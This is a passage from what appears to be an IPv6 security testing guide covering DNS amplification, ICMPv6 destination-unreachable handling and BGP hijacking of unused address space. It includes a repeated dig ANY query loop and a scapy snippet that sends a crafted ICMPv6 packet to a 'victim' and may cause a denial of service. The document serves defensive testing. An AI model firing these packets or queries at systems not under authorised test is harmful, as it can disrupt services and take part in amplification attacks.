Stopping the traceroute6 runs makes the routing loop go away, there is no
effect to un-do.
```

References

- Null routing of unused address space

6 Other vulnerabilities

6.1 DoS amplification through DNS response packet size

Description
IPv6 addresses in the DNS use AAAA records. IPv6 addresses are longer and AAAA records are typically sent in addition to IPv4 A records. This will result in bigger DNS responses making DNS servers a more attractive target for DoS amplification attacks. As a side note, DNSSec does an even better job at increasing DNS response sizes.

Solutions
Implement response rate limiting (RRL) in the DNS servers.

Testing tools
dig:
{desc}
The *dig* tool can be used to query the DNS server. The example below performs an ANY query, this returns all the records for a specific domain name regardless of the record type. This is currently the most common attack because the ANY request usually returns a large collection of resource records, creating a high amplification ratio. By sending repeated (say, 20 or 30, in one second) queries to the DNS server, you can test for rate limiting. If all responses are identical there is no rate limiting. Dropped responses, combined with responses with TC=1, is a good indication that RRL-like measures are in place.

{pre}
Obtain the IP address and zone of the target DNS server.

{exec}
The following shell script can be used:
for i in {1..20}; do dig @<dns-server-IP address> +short +tries=1 +time=1 <any-existing-zone.com> ANY; done
e.g.: for i in {1..20}; do dig @8.8.8.8 +short +tries=1 +time=1 google.com ANY; done | less

{test}
Check if any differences exist in the output or any timeouts have occurred: ";; connection timed out; no servers could be reached"
If all responses are identical and no timeouts have occurred, there is no rate limiting in place.

References
- http://www.redbarn.org/dns/ratelimits
- http://ss.vix.su/~vixie/isc-tn-2012-1.txt

6.2 Security vulnerability in applications

Description
IPv6 features are still relatively new to many applications and developers. Hence they may not be properly implemented in applications (e.g. IP addresses that are too long to store, format strings errors, buffer overruns, DNS handling) or only support them partly. This also applies to the libraries on which the application depends. Specific attention should be paid to

applications that manipulate directly on packets such as like IDS's or tools like Wireshark; specifically crafted IPv6 packets may trigger vulnerabilities.

Furthermore, the class of 'destination unreachable' ICMPv6 messages may stop an application from trying to communicate. This depends entirely on how the application processes such a message. The following destination unreachable messages exist:

[0] no route to destination
[1] communication with destination administratively prohibited
[2] beyond scope of source address
[3] address unreachable
[4] port unreachable
[5] source address failed ingress/egress policy
[6] reject route to destination
[7] error in Source Routing Header

Solutions

Apply the latest (security) patches to applications.

Testing tools

These vulnerabilities are application specific. As a result, many require an application specific testing approach. Determining the reaction to ICMPv6 messages can be done with scapy:

```
scapy:
{desc}
WARNING: THIS MAY CAUSE A DOS.
Scapy is a packet manipulation tool and allows crafting of specific
packets. A specific ICMPv6 destination unreachable packet may cause a DoS
for a target system. How an application handles "ICMPv6 destination
unreachable" is not specified, it may stop transmitting or completely
ignore it.

{pre}
Monitor traffic from the victim to a remote system, so you can tell if or
when sending data stops.

{exec}
Create an ICMPv6 destination unreachable packet and send it to the victim:
ap=(IPv6(src="<source IP>", dst="<victim IP>"))/ICMPv6DestUnreach()
ap.code=<0-7, for the aforementioned message types>
send(ap)

{test}
Check if the victim has stopped sending data to the remote system.

{post}
If the target system is affected, waiting a few minutes may resolve things
automatically. Alternatively, a reboot will probably resolve connectivity
issues.
```

6.3 Traffic from unused address space not controlled

Description

One of the main characteristics of IPv6 is its large address space, the majority of these addresses will not be in use. It is possible to (temporarily) 'hijack' IP addresses by sending malicious BGP announcements to insecure network operators. Such a network operator will then route traffic to and from those hijacked IP addresses over the connection that sent the BGP announcement, instead of over the legitimate connection. A hacked system can then use an IPv6 address in the hijacked range to launch attacks from.

If an attacker manages to claim unused IP-addresses for malicious activities, this will be difficult to detect. The security measures of the organisation whose IP range is abused (e.g. logging network traffic and security events) are performed within the network of this organisation and will thus be bypassed. The organisation whose system is abused will not be notified as the malicious IP address does not belong to them. Only when the IP is traced while the route was manipulated, from a system that was affected by the routing manipulation, is it possible to detect that the IP was in use by a different network.

The result is that attackers can perform attacks aimed at a limited amount of IP addresses (only those who route their traffic through the network operator who was affected), while being harder to detect and trace. An example of such an attack is the Google DNS hijack on March 15, 2014.

Solutions

As a network operator, implement BGP filtering from customers and peers or RPKI.

Testing tools

There is no good way to test this directly, unless one has access to a BGP router and peers who do not filter. This is uncommon. It is possible to see these attacks through http://ris.ripe.net.